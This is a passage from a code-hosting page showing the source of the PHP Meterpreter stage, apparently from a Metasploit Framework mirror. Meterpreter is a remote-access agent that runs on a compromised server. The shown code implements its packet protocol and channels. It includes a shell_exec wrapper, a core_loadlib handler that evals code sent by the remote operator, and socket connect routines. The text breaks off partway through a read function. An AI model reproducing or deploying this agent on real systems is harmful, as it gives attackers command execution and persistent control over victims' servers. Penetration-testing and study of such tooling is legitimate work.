PageRenderTime 954ms CodeModel.GetById 26ms RepoModel.GetById 1ms app.codeStats 0ms

/data/meterpreter/meterpreter.php

https://bitbucket.org/cfield/metasploit-framework
PHP | 1167 lines | 829 code | 131 blank | 207 comment | 166 complexity | b4784f8bb57183b8c8e46143a75d67b4 MD5 | raw file
  1. #<?php
  2. # Everything that needs to be global has to be made so explicitly so we can run
  3. # inside a call to create_user_func($user_input);
  4. # global list of channels
  5. if (!isset($GLOBALS['channels'])) {
  6. $GLOBALS['channels'] = array();
  7. }
  8. # global mapping of channels to channelized processes. This is how we know
  9. # if we need to kill a process when it's channel has been closed.
  10. if (!isset($GLOBALS['channel_process_map'])) {
  11. $GLOBALS['channel_process_map'] = array();
  12. }
  13. # global resource map. This is how we know whether to use socket or stream
  14. # functions on a channel.
  15. if (!isset($GLOBALS['resource_type_map'])) {
  16. $GLOBALS['resource_type_map'] = array();
  17. }
  18. # global map of sockets to the associated peer host.
  19. if (!isset($GLOBALS['udp_host_map'])) {
  20. $GLOBALS['udp_host_map'] = array();
  21. }
  22. # global list of resources we need to watch in the main select loop
  23. if (!isset($GLOBALS['readers'])) {
  24. $GLOBALS['readers'] = array();
  25. }
  26. # global list of extension commands
  27. if (!isset($GLOBALS['commands'])) {
  28. $GLOBALS['commands'] = array("core_loadlib");
  29. }
  30. function register_command($c) {
  31. global $commands;
  32. if (! in_array($c, $commands)) {
  33. array_push($commands, $c);
  34. }
  35. }
  36. function my_print($str) {
  37. #error_log($str);
  38. }
  39. my_print("Evaling main meterpreter stage");
  40. # Be very careful not to put a # anywhere that isn't a comment (e.g. inside a
  41. # string) as the comment remover will completely break this payload
  42. function dump_array($arr, $name=null) {
  43. if (is_null($name)) {
  44. $name = "Array";
  45. }
  46. my_print(sprintf("$name (%s)", count($arr)));
  47. foreach ($arr as $key => $val) {
  48. if (is_array($val)) {
  49. # recurse
  50. dump_array($val, "{$name}[{$key}]");
  51. } else {
  52. my_print(sprintf(" $key ($val)"));
  53. }
  54. }
  55. }
  56. function dump_readers() {
  57. global $readers;
  58. dump_array($readers, 'Readers');
  59. }
  60. function dump_resource_map() {
  61. global $resource_type_map;
  62. dump_array($resource_type_map, 'Resource map');
  63. }
  64. function dump_channels($extra="") {
  65. global $channels;
  66. dump_array($channels, 'Channels '.$extra);
  67. }
  68. # Doesn't exist before php 4.3
  69. if (!function_exists("file_get_contents")) {
  70. function file_get_contents($file) {
  71. $f = @fopen($file,"rb");
  72. $contents = false;
  73. if ($f) {
  74. do { $contents .= fgets($f); } while (!feof($f));
  75. }
  76. fclose($f);
  77. return $contents;
  78. }
  79. }
  80. # Renamed in php 4.3
  81. if (!function_exists('socket_set_option')) {
  82. function socket_set_option($sock, $type, $opt, $value) {
  83. socket_setopt($sock, $type, $opt, $value);
  84. }
  85. }
  86. #
  87. # Constants
  88. #
  89. define("PACKET_TYPE_REQUEST",0);
  90. define("PACKET_TYPE_RESPONSE",1);
  91. define("PACKET_TYPE_PLAIN_REQUEST", 10);
  92. define("PACKET_TYPE_PLAIN_RESPONSE", 11);
  93. define("ERROR_SUCCESS",0);
  94. # not defined in original C implementation
  95. define("ERROR_FAILURE",1);
  96. define("CHANNEL_CLASS_BUFFERED", 0);
  97. define("CHANNEL_CLASS_STREAM", 1);
  98. define("CHANNEL_CLASS_DATAGRAM", 2);
  99. define("CHANNEL_CLASS_POOL", 3);
  100. #
  101. # TLV Meta Types
  102. #
  103. define("TLV_META_TYPE_NONE", ( 0 ));
  104. define("TLV_META_TYPE_STRING", (1 << 16));
  105. define("TLV_META_TYPE_UINT", (1 << 17));
  106. define("TLV_META_TYPE_RAW", (1 << 18));
  107. define("TLV_META_TYPE_BOOL", (1 << 19));
  108. define("TLV_META_TYPE_COMPRESSED", (1 << 29));
  109. define("TLV_META_TYPE_GROUP", (1 << 30));
  110. define("TLV_META_TYPE_COMPLEX", (1 << 31));
  111. # not defined in original
  112. define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16));
  113. #
  114. # TLV base starting points
  115. #
  116. define("TLV_RESERVED", 0);
  117. define("TLV_EXTENSIONS", 20000);
  118. define("TLV_USER", 40000);
  119. define("TLV_TEMP", 60000);
  120. #
  121. # TLV Specific Types
  122. #
  123. define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
  124. define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1);
  125. define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
  126. define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
  127. define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
  128. define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
  129. define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
  130. define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
  131. define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
  132. define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
  133. define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
  134. define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
  135. define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
  136. define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
  137. define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
  138. define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
  139. define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
  140. define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
  141. define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
  142. define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
  143. define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
  144. define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
  145. define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
  146. define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
  147. define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
  148. define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
  149. define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
  150. function my_cmd($cmd) {
  151. return shell_exec($cmd);
  152. }
  153. function is_windows() {
  154. return (strtoupper(substr(PHP_OS,0,3)) == "WIN");
  155. }
  156. ##
  157. # Worker functions
  158. ##
  159. function core_channel_open($req, &$pkt) {
  160. $type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE);
  161. my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do");
  162. # Doing it this way allows extensions to create new channel types without
  163. # needing to modify the core code.
  164. $handler = "channel_create_". $type_tlv['value'];
  165. if ($type_tlv['value'] && is_callable($handler)) {
  166. my_print("Calling {$handler}");
  167. $ret = $handler($req, $pkt);
  168. } else {
  169. my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =(");
  170. $ret = ERROR_FAILURE;
  171. }
  172. return $ret;
  173. }
  174. # Works for streams
  175. function core_channel_eof($req, &$pkt) {
  176. my_print("doing channel eof");
  177. $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
  178. $c = get_channel_by_id($chan_tlv['value']);
  179. if ($c) {
  180. if (eof($c[1])) {
  181. packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1));
  182. } else {
  183. packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0));
  184. }
  185. return ERROR_SUCCESS;
  186. } else {
  187. return ERROR_FAILURE;
  188. }
  189. }
  190. # Works
  191. function core_channel_read($req, &$pkt) {
  192. my_print("doing channel read");
  193. $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
  194. $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
  195. $id = $chan_tlv['value'];
  196. $len = $len_tlv['value'];
  197. $data = channel_read($id, $len);
  198. if ($data === false) {
  199. $res = ERROR_FAILURE;
  200. } else {
  201. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
  202. $res = ERROR_SUCCESS;
  203. }
  204. return $res;
  205. }
  206. # Works
  207. function core_channel_write($req, &$pkt) {
  208. #my_print("doing channel write");
  209. $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
  210. $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA);
  211. $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
  212. $id = $chan_tlv['value'];
  213. $data = $data_tlv['value'];
  214. $len = $len_tlv['value'];
  215. $wrote = channel_write($id, $data, $len);
  216. if ($wrote === false) {
  217. return ERROR_FAILURE;
  218. } else {
  219. packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote));
  220. return ERROR_SUCCESS;
  221. }
  222. }
  223. #
  224. # This is called when the client wants to close a channel explicitly. Not to be confused with
  225. #
  226. function core_channel_close($req, &$pkt) {
  227. global $channel_process_map;
  228. # XXX remove the closed channel from $readers
  229. my_print("doing channel close");
  230. $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
  231. $id = $chan_tlv['value'];
  232. $c = get_channel_by_id($id);
  233. if ($c) {
  234. # We found a channel, close its stdin/stdout/stderr
  235. channel_close_handles($id);
  236. # This is an explicit close from the client, always remove it from the
  237. # list, even if it has data.
  238. channel_remove($id);
  239. # if the channel we're closing is associated with a process, kill the
  240. # process
  241. # Make sure the stdapi function for closing a process handle is
  242. # available before trying to clean up
  243. if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) {
  244. close_process($channel_process_map[$id]);
  245. }
  246. return ERROR_SUCCESS;
  247. }
  248. dump_channels("after close");
  249. return ERROR_FAILURE;
  250. }
  251. #
  252. # Destroy a channel and all associated handles.
  253. #
  254. function channel_close_handles($cid) {
  255. global $channels;
  256. # Sanity check - make sure a channel with the given cid exists
  257. if (!array_key_exists($cid, $channels)) {
  258. return;
  259. }
  260. $c = $channels[$cid];
  261. for($i = 0; $i < 3; $i++) {
  262. #my_print("closing channel fd $i, {$c[$i]}");
  263. if (array_key_exists($i, $c) && is_resource($c[$i])) {
  264. close($c[$i]);
  265. # Make sure the main loop doesn't select on this resource after we
  266. # close it.
  267. remove_reader($c[$i]);
  268. }
  269. }
  270. # axe it from the list only if it doesn't have any leftover data
  271. if (strlen($c['data']) == 0) {
  272. channel_remove($cid);
  273. }
  274. }
  275. function channel_remove($cid) {
  276. global $channels;
  277. unset($channels[$cid]);
  278. }
  279. function core_channel_interact($req, &$pkt) {
  280. global $readers;
  281. my_print("doing channel interact");
  282. $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
  283. $id = $chan_tlv['value'];
  284. # True means start interacting, False means stop
  285. $toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL);
  286. $c = get_channel_by_id($id);
  287. if ($c) {
  288. if ($toggle_tlv['value']) {
  289. # Start interacting. If we're already interacting with this
  290. # channel, it's an error and we should return failure.
  291. if (!in_array($c[1], $readers)) {
  292. # stdout
  293. add_reader($c[1]);
  294. # Make sure we don't add the same resource twice in the case
  295. # that stdin == stderr
  296. if (array_key_exists(2, $c) && $c[1] != $c[2]) {
  297. # stderr
  298. add_reader($c[2]);
  299. }
  300. $ret = ERROR_SUCCESS;
  301. } else {
  302. # Already interacting
  303. $ret = ERROR_FAILURE;
  304. }
  305. } else {
  306. # Stop interacting. If we're not interacting yet with this
  307. # channel, it's an error and we should return failure.
  308. if (in_array($c[1], $readers)) {
  309. remove_reader($c[1]); # stdout
  310. remove_reader($c[2]); # stderr
  311. $ret = ERROR_SUCCESS;
  312. } else {
  313. # Not interacting. This is technically failure, but it seems
  314. # the client sends us two of these requests in quick succession
  315. # causing the second one to always return failure. When that
  316. # happens we fail to clean up properly, so always return
  317. # success here.
  318. $ret = ERROR_SUCCESS;
  319. }
  320. }
  321. } else {
  322. # Not a valid channel
  323. my_print("Trying to interact with an invalid channel");
  324. $ret = ERROR_FAILURE;
  325. }
  326. return $ret;
  327. }
  328. function interacting($cid) {
  329. global $readers;
  330. $c = get_channel_by_id($cid);
  331. if (in_array($c[1], $readers)) {
  332. return true;
  333. }
  334. return false;
  335. }
  336. function core_shutdown($req, &$pkt) {
  337. my_print("doing core shutdown");
  338. die();
  339. }
  340. # zlib support is not compiled in by default, so this makes sure the library
  341. # isn't compressed before eval'ing it
  342. # TODO: check for zlib support and decompress if possible
  343. function core_loadlib($req, &$pkt) {
  344. global $commands;
  345. my_print("doing core_loadlib");
  346. $data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
  347. if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
  348. return ERROR_FAILURE;
  349. }
  350. $tmp = $commands;
  351. eval($data_tlv['value']);
  352. $new = array_diff($commands, $tmp);
  353. foreach ($new as $meth) {
  354. packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
  355. }
  356. return ERROR_SUCCESS;
  357. }
  358. ##
  359. # Channel Helper Functions
  360. ##
  361. $channels = array();
  362. function register_channel($in, $out=null, $err=null) {
  363. global $channels;
  364. if ($out == null) { $out = $in; }
  365. if ($err == null) { $err = $out; }
  366. $channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => '');
  367. # Grab the last index and use it as the new ID.
  368. $id = end(array_keys($channels));
  369. my_print("Created new channel $in, with id $id");
  370. return $id;
  371. }
  372. #
  373. # Channels look like this:
  374. #
  375. # Array
  376. # (
  377. # [0] => Array
  378. # (
  379. # [0] => Resource id #12
  380. # [1] => Resource id #13
  381. # [2] => Resource id #14
  382. # [type] => 'stream'
  383. # [data] => '...'
  384. # )
  385. # )
  386. #
  387. function get_channel_id_from_resource($resource) {
  388. global $channels;
  389. if (empty($channels)) {
  390. return false;
  391. }
  392. foreach ($channels as $i => $chan_ary) {
  393. if (in_array($resource, $chan_ary)) {
  394. my_print("Found channel id $i");
  395. return $i;
  396. }
  397. }
  398. return false;
  399. }
  400. function get_channel_by_id($chan_id) {
  401. global $channels;
  402. my_print("Looking up channel id $chan_id");
  403. #dump_channels("in get_channel_by_id");
  404. if (array_key_exists($chan_id, $channels)) {
  405. my_print("Found one");
  406. return $channels[$chan_id];
  407. } else {
  408. return false;
  409. }
  410. }
  411. # Write data to the channel's stdin
  412. function channel_write($chan_id, $data) {
  413. $c = get_channel_by_id($chan_id);
  414. if ($c && is_resource($c[0])) {
  415. my_print("---Writing '$data' to channel $chan_id");
  416. return write($c[0], $data);
  417. } else {
  418. return false;
  419. }
  420. }
  421. # Read from the channel's stdout
  422. function channel_read($chan_id, $len) {
  423. $c = get_channel_by_id($chan_id);
  424. if ($c) {
  425. # First get any pending unread data from a previous read
  426. $ret = substr($c['data'], 0, $len);
  427. $c['data'] = substr($c['data'], $len);
  428. if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); }
  429. # Next grab stderr if we have it and it's not the same file descriptor
  430. # as stdout.
  431. if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) {
  432. # Read as much as possible into the channel's data buffer
  433. $read = read($c[2]);
  434. $c['data'] .= $read;
  435. # Now slice out however much the client asked for. If there's any
  436. # left over, they'll get it next time. If it doesn't add up to
  437. # what they requested, oh well, they'll just have to call read
  438. # again. Looping until we get the requested number of bytes is
  439. # inconsistent with win32 meterpreter and causes the whole php
  440. # process to block waiting on input.
  441. $bytes_needed = $len - strlen($ret);
  442. $ret .= substr($c['data'], 0, $bytes_needed);
  443. $c['data'] = substr($c['data'], $bytes_needed);
  444. }
  445. # Then if there's still room, grab stdout
  446. if (strlen($ret) < $len and is_resource($c[1])) {
  447. # Same as above, but for stdout. This will overwrite a false
  448. # return value from reading stderr but the two should generally
  449. # EOF at the same time, so it should be fine.
  450. $read = read($c[1]);
  451. $c['data'] .= $read;
  452. $bytes_needed = $len - strlen($ret);
  453. $ret .= substr($c['data'], 0, $bytes_needed);
  454. $c['data'] = substr($c['data'], $bytes_needed);
  455. }
  456. # In the event of one or the other of the above read()s returning
  457. # false, make sure we have sent any pending unread data before saying
  458. # EOF by returning false. Note that if they didn't return false, it is
  459. # perfectly legitimate to return an empty string which just means
  460. # there's no data right now but we haven't hit EOF yet.
  461. if (false === $read and empty($ret)) {
  462. if (interacting($chan_id)) {
  463. handle_dead_resource_channel($c[1]);
  464. }
  465. return false;
  466. }
  467. return $ret;
  468. } else {
  469. return false;
  470. }
  471. }
  472. ##
  473. # TLV Helper Functions
  474. ##
  475. function generate_req_id() {
  476. $characters = 'abcdefghijklmnopqrstuvwxyz';
  477. $rid = '';
  478. for ($p = 0; $p < 32; $p++) {
  479. $rid .= $characters[rand(0, strlen($characters)-1)];
  480. }
  481. return $rid;
  482. }
  483. function handle_dead_resource_channel($resource) {
  484. global $msgsock;
  485. if (!is_resource($resource)) {
  486. return;
  487. }
  488. $cid = get_channel_id_from_resource($resource);
  489. if ($cid === false) {
  490. my_print("Resource has no channel: {$resource}");
  491. # Make sure the provided resource gets closed regardless of it's status
  492. # as a channel
  493. remove_reader($resource);
  494. close($resource);
  495. } else {
  496. my_print("Handling dead resource: {$resource}, for channel: {$cid}");
  497. # Make sure we close other handles associated with this channel as well
  498. channel_close_handles($cid);
  499. # Notify the client that this channel is dead
  500. $pkt = pack("N", PACKET_TYPE_REQUEST);
  501. packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
  502. packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
  503. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
  504. # Add the length to the beginning of the packet
  505. $pkt = pack("N", strlen($pkt) + 4) . $pkt;
  506. write($msgsock, $pkt);
  507. }
  508. return;
  509. }
  510. function handle_resource_read_channel($resource, $data) {
  511. global $udp_host_map;
  512. $cid = get_channel_id_from_resource($resource);
  513. my_print("Handling data from $resource");
  514. # Build a new Packet
  515. $pkt = pack("N", PACKET_TYPE_REQUEST);
  516. packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
  517. if (array_key_exists((int)$resource, $udp_host_map)) {
  518. list($h,$p) = $udp_host_map[(int)$resource];
  519. packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
  520. packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
  521. }
  522. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
  523. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
  524. packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
  525. packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
  526. # Add the length to the beginning of the packet
  527. $pkt = pack("N", strlen($pkt) + 4) . $pkt;
  528. return $pkt;
  529. }
  530. function create_response($req) {
  531. $pkt = pack("N", PACKET_TYPE_RESPONSE);
  532. $method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD);
  533. my_print("method is {$method_tlv['value']}");
  534. packet_add_tlv($pkt, $method_tlv);
  535. $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID);
  536. packet_add_tlv($pkt, $reqid_tlv);
  537. if (is_callable($method_tlv['value'])) {
  538. $result = $method_tlv['value']($req, $pkt);
  539. } else {
  540. my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure");
  541. $result = ERROR_FAILURE;
  542. }
  543. packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result));
  544. # Add the length to the beginning of the packet
  545. $pkt = pack("N", strlen($pkt) + 4) . $pkt;
  546. return $pkt;
  547. }
  548. function create_tlv($type, $val) {
  549. return array( 'type' => $type, 'value' => $val );
  550. }
  551. function tlv_pack($tlv) {
  552. $ret = "";
  553. #my_print("Creating a tlv of type: {$tlv['type']}");
  554. if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
  555. $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
  556. }
  557. elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
  558. $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
  559. }
  560. elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
  561. # PHP's pack appears to be busted for chars,
  562. $ret = pack("NN", 8 + 1, $tlv['type']);
  563. $ret .= $tlv['value'] ? "\x01" : "\x00";
  564. }
  565. elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
  566. $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
  567. }
  568. elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
  569. # treat groups the same as raw
  570. $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
  571. }
  572. elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
  573. # treat complex the same as raw
  574. $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
  575. }
  576. else {
  577. my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf");
  578. }
  579. return $ret;
  580. }
  581. function packet_add_tlv(&$pkt, $tlv) {
  582. $pkt .= tlv_pack($tlv);
  583. }
  584. function packet_get_tlv($pkt, $type) {
  585. #my_print("Looking for a tlv of type $type");
  586. # Start at offset 8 to skip past the packet header
  587. $offset = 8;
  588. while ($offset < strlen($pkt)) {
  589. $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
  590. #my_print("len: {$tlv['len']}, type: {$tlv['type']}");
  591. if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
  592. #my_print("Found one at offset $offset");
  593. if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
  594. $tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len']));
  595. }
  596. elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
  597. $tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len']));
  598. }
  599. elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
  600. $tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len']));
  601. }
  602. elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
  603. $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
  604. $tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8);
  605. }
  606. else {
  607. my_print("Wtf type is this? $type");
  608. $tlv = null;
  609. }
  610. return $tlv;
  611. }
  612. $offset += $tlv['len'];
  613. }
  614. #my_print("Didn't find one, wtf");
  615. return false;
  616. }
  617. ##
  618. # Functions for genericizing the stream/socket conundrum
  619. ##
  620. function register_socket($sock, $ipaddr=null, $port=null) {
  621. global $resource_type_map, $udp_host_map;
  622. my_print("Registering socket $sock for ($ipaddr:$port)");
  623. $resource_type_map[(int)$sock] = 'socket';
  624. if ($ipaddr) {
  625. $udp_host_map[(int)$sock] = array($ipaddr, $port);
  626. #dump_array($udp_host_map, "UDP Map after registering a new socket");
  627. }
  628. }
  629. # The stream functions cannot be unconnected, so don't require a host map
  630. function register_stream($stream, $ipaddr=null, $port=null) {
  631. global $resource_type_map, $udp_host_map;
  632. my_print("Registering stream $stream for ($ipaddr:$port)");
  633. $resource_type_map[(int)$stream] = 'stream';
  634. if ($ipaddr) {
  635. $udp_host_map[(int)$stream] = array($ipaddr, $port);
  636. #dump_array($udp_host_map, "UDP Map after registering a new stream");
  637. }
  638. }
  639. function connect($ipaddr, $port, $proto='tcp') {
  640. my_print("Doing connect($ipaddr, $port)");
  641. $sock = false;
  642. # IPv6 requires brackets around the address in some cases, but not all.
  643. # Keep track of the un-bracketed address for the functions that don't like
  644. # brackets, specifically socket_connect and socket_sendto.
  645. $ipf = AF_INET;
  646. $raw_ip = $ipaddr;
  647. if (FALSE !== strpos($ipaddr, ":")) {
  648. $ipf = AF_INET6;
  649. $ipaddr = "[". $raw_ip ."]";
  650. }
  651. # Prefer the stream versions so we don't have to use both select functions
  652. # unnecessarily, but fall back to socket_create if they aren't available.
  653. if (is_callable('stream_socket_client')) {
  654. my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})");
  655. $sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}");
  656. my_print("Got a sock: $sock");
  657. if (!$sock) { return false; }
  658. if ($proto == 'tcp') {
  659. register_stream($sock);
  660. } elseif ($proto == 'udp') {
  661. register_stream($sock, $ipaddr, $port);
  662. } else {
  663. my_print("WTF proto is this: '$proto'");
  664. }
  665. } else
  666. if (is_callable('fsockopen')) {
  667. my_print("fsockopen");
  668. if ($proto == 'tcp') {
  669. $sock = fsockopen($ipaddr,$port);
  670. if (!$sock) { return false; }
  671. if (is_callable('socket_set_timeout')) {
  672. socket_set_timeout($sock, 2);
  673. }
  674. register_stream($sock);
  675. } else {
  676. $sock = fsockopen($proto."://".$ipaddr,$port);
  677. if (!$sock) { return false; }
  678. register_stream($sock, $ipaddr, $port);
  679. }
  680. } else
  681. if (is_callable('socket_create')) {
  682. my_print("socket_create");
  683. if ($proto == 'tcp') {
  684. $sock = socket_create($ipf, SOCK_STREAM, SOL_TCP);
  685. $res = socket_connect($sock, $raw_ip, $port);
  686. if (!$res) { return false; }
  687. register_socket($sock);
  688. } elseif ($proto == 'udp') {
  689. $sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP);
  690. register_socket($sock, $raw_ip, $port);
  691. }
  692. }
  693. return $sock;
  694. }
  695. function eof($resource) {
  696. $ret = false;
  697. switch (get_rtype($resource)) {
  698. # XXX Doesn't work with sockets.
  699. case 'socket': break;
  700. case 'stream':
  701. # We set the socket timeout for streams opened with fsockopen() when
  702. # they are created. I hope this is enough to deal with hangs when
  703. # calling feof() on socket streams, but who knows. This is PHP,
  704. # anything could happen. Some day they'll probably add a new function
  705. # called stream_eof() and it will handle sockets properly except for
  706. # some edge case that happens for every socket except the one or two
  707. # they tested it on and it will always return false on windows and
  708. # later they'll rename it to real_stream_eof_this_language_isretarded().
  709. #
  710. # See http://us2.php.net/manual/en/function.feof.php , specifically this:
  711. # If a connection opened by fsockopen() wasn't closed by the server,
  712. # feof() will hang. To workaround this, see below example:
  713. # <?php
  714. # function safe_feof($fp, &$start = NULL) {
  715. # ...
  716. $ret = feof($resource);
  717. break;
  718. }
  719. return $ret;
  720. }
  721. function close($resource) {
  722. my_print("Closing resource $resource");
  723. global $resource_type_map, $udp_host_map;
  724. remove_reader($resource);
  725. switch (get_rtype($resource)) {
  726. case 'socket': $ret = socket_close($resource); break;
  727. case 'stream': $ret = fclose($resource); break;
  728. }
  729. # Every resource should be in the resource type map, but check anyway
  730. if (array_key_exists((int)$resource, $resource_type_map)) {
  731. unset($resource_type_map[(int)$resource]);
  732. }
  733. if (array_key_exists((int)$resource, $udp_host_map)) {
  734. my_print("Removing $resource from udp_host_map");
  735. unset($udp_host_map[(int)$resource]);
  736. }
  737. return $ret;
  738. }
  739. function read($resource, $len=null) {
  740. global $udp_host_map;
  741. # Max packet length is magic. If we're reading a pipe that has data but
  742. # isn't going to generate any more without some input, then reading less
  743. # than all bytes in the buffer or 8192 bytes, the next read will never
  744. # return.
  745. if (is_null($len)) { $len = 8192; }
  746. #my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
  747. $buff = '';
  748. switch (get_rtype($resource)) {
  749. case 'socket':
  750. if (array_key_exists((int)$resource, $udp_host_map)) {
  751. my_print("Reading UDP socket");
  752. list($host,$port) = $udp_host_map[(int)$resource];
  753. socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
  754. } else {
  755. my_print("Reading TCP socket");
  756. $buff .= socket_read($resource, $len, PHP_BINARY_READ);
  757. }
  758. break;
  759. case 'stream':
  760. global $msgsock;
  761. # Calling select here should ensure that we never try to read from a socket
  762. # or pipe that doesn't currently have data. If that ever happens, the
  763. # whole php process will block waiting for data that may never come.
  764. # Unfortunately, selecting on pipes created with proc_open on Windows
  765. # always returns immediately. Basically, shell interaction in Windows
  766. # is hosed until this gets figured out. See https://dev.metasploit.com/redmine/issues/2232
  767. $r = Array($resource);
  768. my_print("Calling select to see if there's data on $resource");
  769. while (true) {
  770. $cnt = stream_select($r, $w=NULL, $e=NULL, 0);
  771. # Stream is not ready to read, have to live with what we've gotten
  772. # so far
  773. if ($cnt === 0) {
  774. break;
  775. }
  776. # if stream_select returned false, something is wrong with the
  777. # socket or the syscall was interrupted or something.
  778. if ($cnt === false or feof($resource)) {
  779. my_print("Checking for failed read...");
  780. if (empty($buff)) {
  781. my_print("---- EOF ON $resource ----");
  782. $buff = false;
  783. }
  784. break;
  785. }
  786. $md = stream_get_meta_data($resource);
  787. dump_array($md);
  788. if ($md['unread_bytes'] > 0) {
  789. $buff .= fread($resource, $md['unread_bytes']);
  790. break;
  791. } else {
  792. #$len = 1;
  793. $tmp = fread($resource, $len);
  794. $buff .= $tmp;
